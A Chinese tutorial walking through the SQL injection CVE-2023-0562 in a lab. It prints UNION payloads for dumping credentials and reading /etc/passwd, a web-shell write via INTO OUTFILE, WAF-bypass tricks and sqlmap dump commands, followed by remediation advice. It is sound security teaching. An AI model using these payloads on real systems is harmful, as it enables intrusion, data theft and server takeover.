1. 项目概述与核心价值
最近在复现和分析一些公开的漏洞时,CVE-2023-0562这个编号引起了我的注意。这是一个存在于某银行储物柜管理系统中的SQL注入漏洞。对于从事安全研究、渗透测试或者对Web应用安全感兴趣的朋友来说,SQL注入是一个绕不开的经典话题,但每次遇到一个真实环境中的案例,尤其是与金融场景相关的,总能带来新的思考和实战经验。这个漏洞本身并不复杂,但其背后的成因、利用手法以及所暴露出的开发与运维问题,却非常具有代表性。通过深入分析这个案例,我们不仅能掌握一种漏洞的利用方法,更能理解在代码层面如何避免此类“低级错误”,以及在企业安全建设中如何有效防御。无论你是正在学习安全的新手,还是想巩固实战经验的老手,这个案例都值得你花时间跟着走一遍。
简单来说,这个漏洞允许攻击者通过构造特定的请求参数,在系统的数据库上执行非授权的SQL命令。想象一下,银行的储物柜管理系统,里面可能存着客户预约信息、柜子使用状态、甚至是一些操作日志。如果这些数据被非法查询、篡改或删除,后果可想而知。接下来,我会带你从漏洞原理、环境搭建、手工与工具利用、到深度分析和安全加固,完整地走一遍这个漏洞的“生命周期”。你会发现,很多漏洞的根源,往往就藏在那些看似不起眼的代码细节里。
2. 漏洞原理深度剖析
2.1 SQL注入漏洞的本质与分类
在深入CVE-2023-0562之前,我们必须先夯实基础。SQL注入(SQL Injection)之所以被称为Web安全的“头号公敌”,是因为它直接攻击应用的核心——数据库。其本质是:应用程序将用户输入的数据,未经充分的检查、过滤或转义,便直接拼接到了SQL查询语句中,导致攻击者可以“注入”并执行原本设计之外的SQL代码。
根据注入点参数的处理方式,SQL注入主要分为两大类:
- 数字型注入:注入点的参数原本被期望是一个数字(如ID=1)。在后台代码中,它可能被直接拼接,如
“SELECT * FROM items WHERE id = ” + $_GET[‘id’]。如果传入id=1 OR 1=1,那么拼接后的语句就变成了SELECT * FROM items WHERE id = 1 OR 1=1,这是一个永真条件,会导致返回所有数据。 - 字符型注入:注入点的参数原本被期望是一个字符串(如name=‘admin’)。在后台代码中,通常会带有引号,如
“SELECT * FROM users WHERE name = ‘” + $_GET[‘name’] + “‘”。攻击者需要先“闭合”前面的引号,然后注入自己的代码,最后处理掉后面的引号。例如传入name=‘ OR ‘1’=‘1,拼接后成为SELECT * FROM users WHERE name = ‘’ OR ‘1’=‘1’,同样构成永真条件。
此外,还有基于报错的注入、基于布尔的盲注、基于时间的盲注等高级形式,它们适用于页面没有直接数据回显的场景,需要通过数据库的报错信息、页面返回的差异或响应时间的延迟来推断查询结果。
注意:理解“拼接”是理解SQL注入的关键。任何将用户输入“原样”嵌入SQL语句的行为都是高危的。现代的防御思想是“分离”,即使用参数化查询(预编译语句),让数据和指令泾渭分明。
2.2 CVE-2023-0562 漏洞成因具体分析
根据公开的漏洞描述和相关信息,CVE-2023-0562影响的是一个银行储物柜管理系统的特定功能模块。虽然我无法获取到该系统的真实源代码,但结合常见的开发模式和漏洞模式,我们可以高度还原其漏洞场景。
通常,这类管理系统会有一个前台界面供用户或工作人员查询储物柜的状态、预约记录等。假设存在一个查询功能,通过储物柜编号(locker_id)来获取详情。后端PHP代码可能这样写(这是漏洞的典型写法):
// 假设从GET请求中获取柜子ID $locker_id = $_GET['id']; // 直接将用户输入拼接到SQL语句中 $sql = "SELECT * FROM bank_lockers WHERE locker_id = " . $locker_id; $result = mysqli_query($conn, $sql);漏洞点分析:
- 信任用户输入:代码直接使用了
$_GET[‘id’],没有进行任何类型的验证(比如检查是否为数字)或过滤。 - 字符串拼接:使用
.运算符将变量$locker_id直接拼接到SQL字符串中。 - 缺少参数化处理:没有使用MySQLi或PDO提供的参数化查询接口。
如果攻击者访问的URL是:http://target-system.com/query.php?id=1,那么执行的是正常的查询。但如果访问http://target-system.com/query.php?id=1 UNION SELECT 1,2,database(),user(),version()-- -,灾难就发生了。
注入过程拆解:
- 原始意图:
SELECT * FROM bank_lockers WHERE locker_id = 1 - 攻击输入:
1 UNION SELECT 1,2,database(),user(),version()-- - - 最终语句:
SELECT * FROM bank_lockers WHERE locker_id = 1 UNION SELECT 1,2,database(),user(),version()-- - - 关键技巧:
-- -是SQL中的单行注释符(在MySQL中--后面需要跟一个空格,用-占位或直接加空格),它注释掉了原查询可能存在的后续内容(比如LIMIT子句),确保我们注入的UNION查询能完整执行。
这个漏洞被归类为“Union-based SQL Injection”,因为利用UNION SELECT可以轻松地将攻击者想要查询的数据(如数据库名、用户、版本)合并到正常结果集中并回显到页面上,利用门槛相对较低,危害极大。
3. 实战环境搭建与信息收集
3.1 模拟靶场环境搭建
为了在不触犯法律的前提下进行学习和研究,我们必须在隔离的、自己可控的环境中复现漏洞。这里我推荐使用DVWA (Damn Vulnerable Web Application)或Pikachu这类集成了多种漏洞的靶场。它们本身就包含了各种类型的SQL注入场景,其代码原理与CVE-2023-0562高度相似,非常适合用于模拟和分析。
以Pikachu靶场为例,搭建步骤:
- 准备基础环境:你需要一个安装了Web服务器(如Apache/Nginx)、PHP和MySQL的环境。最简单的方法是使用集成环境软件,如XAMPP、PHPStudy或Docker。
- 部署靶场:从GitHub下载Pikachu的源码,将其解压到Web服务器的根目录(例如XAMPP的
htdocs文件夹下)。 - 初始化数据库:访问Pikachu的安装页面(如
http://localhost/pikachu/),按照提示进行安装,它会自动创建所需的数据库和表。 - 启动服务:确保你的Apache和MySQL服务已经运行。
实操心得:使用Docker搭建是最干净、最便捷的方式,一条命令就能搞定,且与宿主机环境隔离,避免污染。例如,可以搜索现成的Pikachu Docker镜像并运行。对于新手,PHPStudy这类一体化软件包则更友好,图形化界面操作简单。
3.2 目标系统信息收集与漏洞点探测
在真实的渗透测试或漏洞复现中,我们面对的是一个黑盒或灰盒系统。第一步永远是信息收集。
- 识别系统特征:访问目标系统,观察页面特征、URL结构、使用的技术(查看HTTP响应头中的
X-Powered-By、Server字段,或前端的JavaScript框架)。对于“银行储物柜管理系统”,我们可以假设其使用了常见的PHP+MySQL架构。 - 寻找输入点:这是发现SQL注入的关键。任何用户能控制输入的地方都是怀疑对象:
- GET参数:URL中的
?id=1&name=xxx。 - POST参数:登录框、搜索框、表单提交的数据。
- Cookie、HTTP头部(如
User-Agent,X-Forwarded-For)有时也可能被不安全地拼接到查询中。
- GET参数:URL中的
- 初步漏洞探测:对每一个可疑的输入点,尝试输入一些特殊的“探针”字符,观察应用的反应。
- 单引号
‘:输入一个单引号,如果页面返回数据库错误(如“You have an error in your SQL syntax”),那么存在字符型注入的可能性极高。因为单引号破坏了SQL语句的语法。 - 数字运算:对于数字型参数,尝试
id=1 and 1=1和id=1 and 1=2。如果第一个页面正常,第二个页面异常(无数据或报错),则很可能存在数字型注入。因为1=2为假,整个查询条件不成立。
- 单引号
假设我们模拟的系统有一个查询页面view_locker.php,参数是id。我们进行如下测试:
- 访问:
http://target/view_locker.php?id=1 - 然后访问:
http://target/view_locker.php?id=1‘ - 如果第二个请求返回了数据库错误信息,那么恭喜,你很可能找到了一个SQL注入漏洞,其类型极有可能与CVE-2023-0562类似。
4. 手工注入实战:从探测到数据获取
手工注入是理解SQL注入精髓的最佳方式。它能让你清晰地看到每一步攻击的意图和数据库的反馈。我们假设已经通过上一步的探针(单引号报错)确认了id参数存在字符型注入。
4.1 判断注入类型与闭合方式
单引号报错说明原语句可能是:SELECT ... WHERE id = ‘$_GET[‘id’]‘ LIMIT 1。我们的输入1‘破坏了它,变成了... WHERE id = ‘1’’ LIMIT 1,多了一个单引号导致语法错误。
为了成功注入,我们需要“修复”这个语法。我们输入:1‘ -- -。这里的-- -注释掉了后面的单引号和LIMIT子句。如果页面正常返回了id=1的数据,说明注入成功,且闭合字符是单引号。
为什么是字符型?因为我们需要用单引号来闭合原SQL语句中的引号。如果是数字型,语句会是WHERE id = $_GET[‘id’],我们直接注入1 OR 1=1即可,无需处理引号。
4.2 利用联合查询(UNION SELECT)获取信息
联合查询的前提是,我们注入的SELECT语句的列数必须和原SELECT语句的列数相同。所以第一步是判断列数。
使用ORDER BY子句来探测:
id=1‘ order by 1 -- -(页面正常)id=1‘ order by 2 -- -(页面正常)id=1‘ order by 3 -- -(页面正常)id=1‘ order by 4 -- -(页面报错) 这说明原查询返回了3列。ORDER BY 4意味着按第4列排序,因为只有3列,所以数据库会报错。
接下来,我们需要找到页面上哪些位置会回显数据库查询的结果。这称为确定回显点。 构造Payload:id=-1‘ union select 1,2,3 -- -关键技巧:将原查询的id设置为一个不存在的值(如-1),这样原查询部分返回空,页面显示的就全是我们union select的内容。如果页面上出现了数字“2”和“3”(假设‘1’可能不显示),那么这两个位置就是我们可以用来输出数据库信息的地方。
现在,我们可以把2和3替换成我们想查询的数据库函数:
id=-1‘ union select 1, database(), user() -- -- 如果页面在对应位置显示了数据库名(如
pikachu)和数据库用户(如root@localhost),那么我们就成功获取了初步信息。
4.3 深入获取数据库结构及敏感数据
知道了数据库名,下一步就是“拖库”——获取所有表名、字段名,最终拿到数据。
获取表名:在MySQL中,数据库的元信息(如表名、列名)存储在
information_schema数据库中。- Payload:
id=-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- - group_concat()函数将多行结果合并成一个字符串,方便查看。执行后,我们可能会得到类似emails,member,message,users,xss...的结果。我们需要寻找那些可能存储敏感信息的表,如users,admin,customer等。
- Payload:
获取字段名:假设我们发现了
users表。- Payload:
id=-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users‘ -- - - 这里需要注意,
table_name的值必须用引号括起来。执行后可能返回id,username,password,level,...。
- Payload:
最终获取数据:
- Payload:
id=-1‘ union select 1,group_concat(username, ‘:‘, password),3 from users -- - - 这个查询会将
users表中的用户名和密码(假设是明文或哈希值)以username:password的格式拼接起来并显示在页面上。
- Payload:
至此,通过纯粹的手工注入,我们已经完成了从漏洞发现到数据窃取的全过程。这个过程清晰地展示了,一个简单的参数未过滤,如何导致整个数据库沦陷。
5. 自动化工具利用:Sqlmap实战
手工注入虽然透彻,但效率较低。在实际的安全评估中,我们经常使用自动化工具,如Sqlmap,来快速验证和利用漏洞。Sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞。
针对我们模拟的漏洞点,使用Sqlmap的基本流程:
基本检测:
sqlmap -u "http://target/view_locker.php?id=1" --batch-u:指定目标URL。--batch:以非交互模式运行,所有提示都选择默认选项。Sqlmap会自动尝试各种注入技术(布尔盲注、时间盲注、报错注入、联合查询等)来判断是否存在漏洞以及是什么类型的漏洞。
获取当前数据库信息:
sqlmap -u "http://target/view_locker.php?id=1" --current-db --batch--current-db:获取当前数据库的名称。
列出所有数据库:
sqlmap -u "http://target/view_locker.php?id=1" --dbs --batch列出指定数据库的所有表(假设数据库名为
bank_system):sqlmap -u "http://target/view_locker.php?id=1" -D bank_system --tables --batch列出指定表的所有列(假设表名为
users):sqlmap -u "http://target/view_locker.php?id=1" -D bank_system -T users --columns --batch导出表数据:
sqlmap -u "http://target/view_locker.php?id=1" -D bank_system -T users --dump --batch--dump:导出(转储)指定表的所有数据。如果表中密码是哈希值,Sqlmap还会尝试自动识别哈希类型并调用内置字典进行破解。
Sqlmap高级技巧与注意事项:
- 处理Cookie或Session:如果目标页面需要登录,你需要使用浏览器登录后,复制Cookie值,然后加上
--cookie=“你的Cookie字符串”参数。 - 设置延迟避免被封:对于有防护的系统,可以使用
--delay=1设置每次请求间隔1秒,降低触发WAF(Web应用防火墙)或IPS(入侵防御系统)规则的概率。 - 使用代理:
--proxy=“http://127.0.0.1:8080”可以将流量导向Burp Suite等代理工具,方便观察和修改Sqlmap发出的Payload。 - 指定注入技术:如果知道是联合查询注入,可以用
--technique=U来指定,提高效率。 - 风险提示:Sqlmap功能强大,但请务必只在你自己拥有完全权限的测试环境(如本地靶场)中使用。未经授权对任何系统进行测试都是非法的。
通过Sqlmap,我们可以在几分钟内完成手工注入需要十几分钟甚至更长时间才能完成的信息收集和数据提取工作,极大地提升了效率。
6. 漏洞深度利用与影响分析
成功注入并获取数据只是第一步。一个严重的SQL注入漏洞往往可以作为跳板,引发更深远的安全威胁。结合“银行储物柜管理系统”这个场景,我们来分析CVE-2023-0562可能带来的连锁反应。
6.1 数据泄露的直接影响
- 客户隐私泄露:储物柜系统可能存储客户的姓名、手机号、身份证号、预约时间、柜号等。这些数据一旦泄露,不仅侵犯个人隐私,还可能被用于精准诈骗。
- 内部信息暴露:系统中可能包含管理员账户、操作日志、财务流水(如果涉及租金)、柜体维护记录等。攻击者获取管理员密码哈希后,如果密码强度不足,可能被破解,进而获得系统最高权限。
- 业务逻辑干扰:通过UPDATE语句,攻击者可以篡改储物柜的状态(如将“已占用”改为“空闲”),导致物理上的储物柜被重复分配或非法占用,引发客户纠纷。
6.2 权限提升与服务器沦陷
在MySQL中,如果数据库连接用户权限过高(如root),SQL注入的危害将呈指数级放大。
文件读取:利用
LOAD_FILE()函数,可以读取服务器上的敏感文件。- Payload:
id=-1‘ union select 1, load_file(‘/etc/passwd‘), 3 -- - - 这可能泄露系统用户信息、配置文件(如数据库连接配置
config.php)、甚至源码。
- Payload:
文件写入/GetShell:这是更危险的一步。利用
INTO OUTFILE或INTO DUMPFILE语句,可以将查询结果写入服务器文件。如果Web目录有写权限,就可以写入一个Web Shell(如一句话木马)。- 前提:需要知道Web的绝对路径,并且数据库用户有
FILE权限。 - Payload:
id=-1‘ union select 1, ‘<?php @eval($_POST[cmd]);?>‘, 3 into outfile ‘/var/www/html/shell.php‘ -- - - 写入成功后,攻击者就可以通过访问
http://target/shell.php,使用中国菜刀、蚁剑等工具连接,完全控制服务器。
- 前提:需要知道Web的绝对路径,并且数据库用户有
执行系统命令:在极少数配置下,如果MySQL以root权限运行并且安装了可以执行命令的插件(如
lib_mysqludf_sys),攻击者甚至可以通过SQL注入直接执行操作系统命令,彻底接管服务器。
6.3 对银行机构的潜在风险
对于银行这类金融机构,此类漏洞的影响远超一个普通网站:
- 声誉风险:客户数据泄露会严重损害银行信誉,可能导致客户流失和监管重罚。
- 合规风险:违反《网络安全法》、《数据安全法》、《个人信息保护法》等法律法规,面临巨额罚款。
- 运营风险:系统被篡改或破坏,可能导致线下网点储物柜业务瘫痪,影响正常服务。
- 跳板风险:被攻陷的服务器可能成为攻击者进入银行内网的跳板,引发更严重的内部网络渗透。
因此,修复CVE-2023-0562这类漏洞,绝不仅仅是修补一个代码点,而是需要启动完整的安全事件应急响应流程。
7. 漏洞修复与安全加固方案
分析漏洞是为了更好地防御。针对CVE-2023-0562所代表的SQL注入漏洞,修复方案是清晰且成熟的。
7.1 根本解决方案:使用参数化查询(预编译语句)
这是防御SQL注入的黄金标准。其原理是将SQL语句的结构(指令)和用户提供的数据分开处理。数据库引擎会先编译SQL语句的模板,然后将用户输入的数据作为“参数”传入,无论参数内容是什么,都会被当作纯粹的数据,而不会被解释为SQL代码的一部分。
以PHP的PDO为例:
// 错误的方式(拼接) // $sql = “SELECT * FROM bank_lockers WHERE locker_id = ” . $_GET[‘id’]; // 正确的方式(参数化查询) $sql = “SELECT * FROM bank_lockers WHERE locker_id = :id”; $stmt = $pdo->prepare($sql); $stmt->execute([‘:id’ => $_GET[‘id’]]); $result = $stmt->fetchAll(PDO::FETCH_ASSOC);或者使用MySQLi:
$stmt = $conn->prepare(“SELECT * FROM bank_lockers WHERE locker_id = ?”); $stmt->bind_param(“i”, $_GET[‘id’]); // “i” 表示参数是整数类型 $stmt->execute(); $result = $stmt->get_result();使用bind_param时,数据类型检查(这里是整数i)提供了另一层保护。
7.2 辅助防御措施
虽然参数化查询是首选,但在一些遗留系统或复杂场景下,也可以结合其他方法。
输入验证与过滤:
- 白名单验证:对于像
id这样的参数,如果明确应该是数字,就用is_numeric()或intval()函数强制转换,并确保其在有效范围内(如大于0)。 - 转义特殊字符:如果不得已必须拼接(极不推荐),必须使用数据库特定的转义函数,如
mysqli_real_escape_string()。注意:这并非绝对安全,且转义规则因数据库而异。
- 白名单验证:对于像
最小权限原则:
- 为Web应用连接数据库分配一个权限尽可能低的账户。只授予其访问特定数据库、特定表的
SELECT、UPDATE等必要权限,坚决不要授予FILE、PROCESS、SHUTDOWN等高级权限,更不要使用root账户。这样即使发生注入,危害也能被限制在较小范围。
- 为Web应用连接数据库分配一个权限尽可能低的账户。只授予其访问特定数据库、特定表的
Web应用防火墙(WAF):
- 在应用前端部署WAF,可以识别和拦截常见的SQL注入攻击模式。但WAF是“治标”的缓解措施,可能存在被绕过(如编码绕过、混淆绕过)的风险,不能替代安全的代码。
错误信息处理:
- 将生产环境的PHP错误显示关闭(
display_errors = Off),并使用自定义的错误页面。避免将详细的数据库错误信息(如SQL语法错误)直接返回给用户,这会给攻击者提供宝贵的调试信息。
- 将生产环境的PHP错误显示关闭(
7.3 安全开发生命周期(SDL)建议
修复一个漏洞是“点”,建立安全开发体系才是“面”。
- 安全培训:让开发人员深刻理解SQL注入等OWASP Top 10漏洞的原理与危害。
- 代码审计:在测试阶段引入人工代码审计或使用SAST(静态应用安全测试)工具,自动扫描源代码中的安全缺陷。
- 渗透测试:定期聘请专业的安全团队或使用DAST(动态应用安全测试)工具对上线系统进行模拟攻击,主动发现类似CVE-2023-0562的漏洞。
- 依赖库管理:如果系统使用了第三方组件或框架,确保及时更新到最新版本,修复已知漏洞。
8. 实战中常见问题与排查技巧
在复现和利用SQL注入漏洞时,你可能会遇到各种“意外”。这里记录了一些我踩过的坑和对应的解决思路。
8.1 注入点探测无反应
问题:输入单引号‘或and 1=1等Payload后,页面没有任何变化(不报错,不回显差异)。可能原因与排查:
- 盲注:漏洞存在,但属于“盲注”。页面不会显示数据库错误,也不会直接回显查询数据。你需要使用基于布尔或时间的盲注技术。
- 布尔盲注:通过观察页面内容的细微差异(如“存在”与“不存在”)来判断注入语句的真假。使用
and 1=1(真)和and 1=2(假)进行对比。 - 时间盲注:通过观察页面响应时间的差异来判断。使用
and sleep(5),如果页面延迟5秒返回,说明注入成功。
- 布尔盲注:通过观察页面内容的细微差异(如“存在”与“不存在”)来判断注入语句的真假。使用
- Payload被过滤或转义:应用程序可能对输入做了简单的过滤,如将单引号转义为
\',或者直接删除某些关键词(如union,select)。- 尝试编码绕过:将Payload进行URL编码、双重URL编码、十六进制编码等。例如,单引号
‘的URL编码是%27。 - 尝试大小写混合/嵌套:如
UnIoN SeLeCt,SELSELECTECT(如果过滤了SELECT,可以用SELSELECTECT,中间的SELECT被删除后,剩下的字符又组成了SELECT)。
- 尝试编码绕过:将Payload进行URL编码、双重URL编码、十六进制编码等。例如,单引号
- 注入点位置特殊:注入可能不在
WHERE子句,而在ORDER BY、LIMIT或表名、列名等处,这些地方的注入利用方式略有不同。
8.2 Union查询失败
问题:确定了列数,但使用union select时页面报错或没有回显数字。排查:
- 列数据类型不匹配:
union查询要求前后两个SELECT语句对应列的数据类型必须兼容。原查询第一列可能是整数,而你union select 1,2,3的第一列也是整数,这通常没问题。但如果原查询某列是字符串,而你对应位置是数字,可能会失败。尝试将数字用引号括起来:union select ‘1‘,‘2‘,‘3‘。 - 原查询有更多子句:我们的注释符
-- -可能没有注释掉全部后续内容。尝试在Payload末尾多加一个空格或换行,或者使用#注释符(在URL中需编码为%23):id=1‘ union select 1,2,3%23。 - 防火墙拦截:WAF可能检测到了
union select等关键词并拦截了请求。尝试使用空白符拆分:uni/**/on sel/**/ect,或者使用内联注释:/*!union*/ /*!select*/。
8.3 Sqlmap跑不出结果
问题:手工测试感觉有注入,但Sqlmap检测后报告“未检测到注入”。排查:
- 检查请求格式:确保你提供给Sqlmap的URL或请求文件(
-r)是正确的。如果请求需要Cookie、特定的POST数据或HTTP头,必须完整提供。 - 调整检测级别和风险等级:使用
--level和--risk参数。提高级别(最高5)会让Sqlmap尝试更多、更复杂的Payload,提高风险等级(最高3)会尝试一些可能造成数据更新的危险测试。sqlmap -u “目标URL” --level=3 --risk=2 --batch - 指定注入点:如果参数在JSON或复杂表单中,可能需要手动指定注入点。或者使用
-p参数指定测试哪个参数,如-p “id”。 - 使用延时避免触发防护:如果目标有速率限制或WAF,过快请求会导致IP被封。添加
--delay=2和--timeout=10参数。 - 查看详细日志:使用
-v 3参数输出最详细的调试信息,观察Sqlmap发送的每一个Payload和服务器的响应,这能帮你判断问题出在哪一步。
8.4 写入WebShell失败
问题:拥有FILE权限,路径也正确,但into outfile执行失败。排查:
- 目录写入权限:Web目录(如
/var/www/html)对MySQL进程的运行用户(通常是mysql)必须可写。检查目录权限:ls -ld /var/www/html。 - 安全配置:MySQL的
secure_file_priv系统变量限制了LOAD_FILE和INTO OUTFILE操作的文件目录。如果这个变量被设置为一个特定目录(如/var/lib/mysql-files/)或为空(不允许任何操作),你就无法写入Web目录。- 在MySQL中执行
SHOW VARIABLES LIKE ‘secure_file_priv‘;查看其值。 - 这是一个重要的安全加固措施,意味着即使有SQL注入和
FILE权限,攻击者也可能无法任意写文件。
- 在MySQL中执行
- 文件已存在:
INTO OUTFILE不能覆盖已存在的文件。尝试换一个不存在的文件名。
手工注入和工具利用的过程,本质上是一场与应用程序逻辑和防护措施的“对话”。每一个错误信息、每一次页面差异,都是数据库给你的反馈。耐心分析这些反馈,调整你的Payload,是成功利用漏洞的关键。对于防御者而言,理解攻击者的这些技巧和排查思路,同样有助于你构建更坚固的防御体系。